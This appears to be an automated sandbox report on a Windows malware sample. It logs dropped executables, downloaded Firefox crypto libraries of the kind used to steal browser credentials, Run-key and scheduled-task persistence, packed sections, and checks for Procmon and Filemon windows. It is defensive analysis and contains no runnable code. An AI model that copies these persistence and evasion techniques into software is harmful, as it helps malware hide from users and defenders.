Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1783808 > 1048576

Source: file.exe

Static PE information: Raw size of owrujbfc is bigger than: 0x100000 < 0x199a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1975756030.000000006FE2D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: d7f88d1a57.exe, 0000001C.00000002.2804946031.0000000005FB2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1975756030.000000006FE2D000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.dc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;owrujbfc:EW;llupfgfi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;owrujbfc:EW;llupfgfi:EW;.taggant:EW;
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Unpacked PE file: 23.2.DocumentsKECBFBAEBK.exe.330000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tgzacnml:EW;senxdaim:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tgzacnml:EW;senxdaim:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.230000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tgzacnml:EW;senxdaim:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tgzacnml:EW;senxdaim:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.230000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tgzacnml:EW;senxdaim:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tgzacnml:EW;senxdaim:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Unpacked PE file: 26.2.a4be4c0327.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mxitkrgf:EW;pgrlgpvs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mxitkrgf:EW;pgrlgpvs:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Unpacked PE file: 28.2.d7f88d1a57.exe.420000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ynffvxyk:EW;gdqldguo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ynffvxyk:EW;gdqldguo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Unpacked PE file: 30.2.e9987cd408.exe.ed0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;owrujbfc:EW;llupfgfi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;owrujbfc:EW;llupfgfi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Unpacked PE file: 31.2.d7f88d1a57.exe.420000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ynffvxyk:EW;gdqldguo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ynffvxyk:EW;gdqldguo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Unpacked PE file: 43.2.e9987cd408.exe.ed0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;owrujbfc:EW;llupfgfi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;owrujbfc:EW;llupfgfi:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: real checksum: 0x1d4bdb should be: 0x1d5ffb
Source: a4be4c0327.exe.25.dr	Static PE information: real checksum: 0x438b6b should be: 0x443f9c
Source: random[2].exe.25.dr	Static PE information: real checksum: 0x2a9b3c should be: 0x2a8b41
Source: random[1].exe.25.dr	Static PE information: real checksum: 0x438b6b should be: 0x443f9c
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d4bdb should be: 0x1d5ffb
Source: e9987cd408.exe.25.dr	Static PE information: real checksum: 0x1bae8a should be: 0x1bfecb
Source: file.exe	Static PE information: real checksum: 0x1bae8a should be: 0x1bfecb
Source: random[2].exe0.25.dr	Static PE information: real checksum: 0x1e1017 should be: 0x1df064
Source: d7f88d1a57.exe.25.dr	Static PE information: real checksum: 0x1e1017 should be: 0x1df064
Source: random[1].exe0.25.dr	Static PE information: real checksum: 0x1bae8a should be: 0x1bfecb
Source: c5c0aef5f7.exe.25.dr	Static PE information: real checksum: 0x2a9b3c should be: 0x2a8b41
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1d4bdb should be: 0x1d5ffb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: owrujbfc
Source: file.exe	Static PE information: section name: llupfgfi
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: tgzacnml
Source: random[1].exe.0.dr	Static PE information: section name: senxdaim
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name:
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name:
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name: tgzacnml
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name: senxdaim
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: tgzacnml
Source: skotes.exe.23.dr	Static PE information: section name: senxdaim
Source: skotes.exe.23.dr	Static PE information: section name: .taggant
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: .idata
Source: random[2].exe.25.dr	Static PE information: section name: prcghhsb
Source: random[2].exe.25.dr	Static PE information: section name: jcsutjal
Source: random[2].exe.25.dr	Static PE information: section name: .taggant
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name:
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name: .idata
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name: prcghhsb
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name: jcsutjal
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name: .taggant
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: mxitkrgf
Source: random[1].exe.25.dr	Static PE information: section name: pgrlgpvs
Source: random[1].exe.25.dr	Static PE information: section name: .taggant
Source: a4be4c0327.exe.25.dr	Static PE information: section name:
Source: a4be4c0327.exe.25.dr	Static PE information: section name: .rsrc
Source: a4be4c0327.exe.25.dr	Static PE information: section name: .idata
Source: a4be4c0327.exe.25.dr	Static PE information: section name:
Source: a4be4c0327.exe.25.dr	Static PE information: section name: mxitkrgf
Source: a4be4c0327.exe.25.dr	Static PE information: section name: pgrlgpvs
Source: a4be4c0327.exe.25.dr	Static PE information: section name: .taggant
Source: random[2].exe0.25.dr	Static PE information: section name:
Source: random[2].exe0.25.dr	Static PE information: section name: .rsrc
Source: random[2].exe0.25.dr	Static PE information: section name: .idata
Source: random[2].exe0.25.dr	Static PE information: section name:
Source: random[2].exe0.25.dr	Static PE information: section name: ynffvxyk
Source: random[2].exe0.25.dr	Static PE information: section name: gdqldguo
Source: random[2].exe0.25.dr	Static PE information: section name: .taggant
Source: d7f88d1a57.exe.25.dr	Static PE information: section name:
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: .rsrc
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: .idata
Source: d7f88d1a57.exe.25.dr	Static PE information: section name:
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: ynffvxyk
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: gdqldguo
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: .taggant
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: owrujbfc
Source: random[1].exe0.25.dr	Static PE information: section name: llupfgfi
Source: random[1].exe0.25.dr	Static PE information: section name: .taggant
Source: e9987cd408.exe.25.dr	Static PE information: section name:
Source: e9987cd408.exe.25.dr	Static PE information: section name: .idata
Source: e9987cd408.exe.25.dr	Static PE information: section name:
Source: e9987cd408.exe.25.dr	Static PE information: section name: owrujbfc
Source: e9987cd408.exe.25.dr	Static PE information: section name: llupfgfi
Source: e9987cd408.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0024D91C push ecx; ret		25_2_0024D92F
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Code function: 26_2_00827EE0 push dword ptr [eax+04h]; ret		26_2_00827F0F

Source: file.exe	Static PE information: section name: owrujbfc entropy: 7.953739338353992
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.979508742237751
Source: random[1].exe.0.dr	Static PE information: section name: tgzacnml entropy: 7.9528907223452405
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name: entropy: 7.979508742237751
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name: tgzacnml entropy: 7.9528907223452405
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.979508742237751
Source: skotes.exe.23.dr	Static PE information: section name: tgzacnml entropy: 7.9528907223452405
Source: random[2].exe.25.dr	Static PE information: section name: entropy: 7.7888408865546825
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name: entropy: 7.7888408865546825
Source: random[1].exe.25.dr	Static PE information: section name: mxitkrgf entropy: 7.955871774829766
Source: a4be4c0327.exe.25.dr	Static PE information: section name: mxitkrgf entropy: 7.955871774829766
Source: random[2].exe0.25.dr	Static PE information: section name: entropy: 7.9762681684985814
Source: random[2].exe0.25.dr	Static PE information: section name: ynffvxyk entropy: 7.95452539030112
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: entropy: 7.9762681684985814
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: ynffvxyk entropy: 7.95452539030112
Source: random[1].exe0.25.dr	Static PE information: section name: owrujbfc entropy: 7.953739338353992
Source: e9987cd408.exe.25.dr	Static PE information: section name: owrujbfc entropy: 7.953739338353992

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKECBFBAEBK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsKECBFBAEBK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKECBFBAEBK.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8cfb091e91.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d7f88d1a57.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e9987cd408.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c5c0aef5f7.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKECBFBAEBK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsKECBFBAEBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
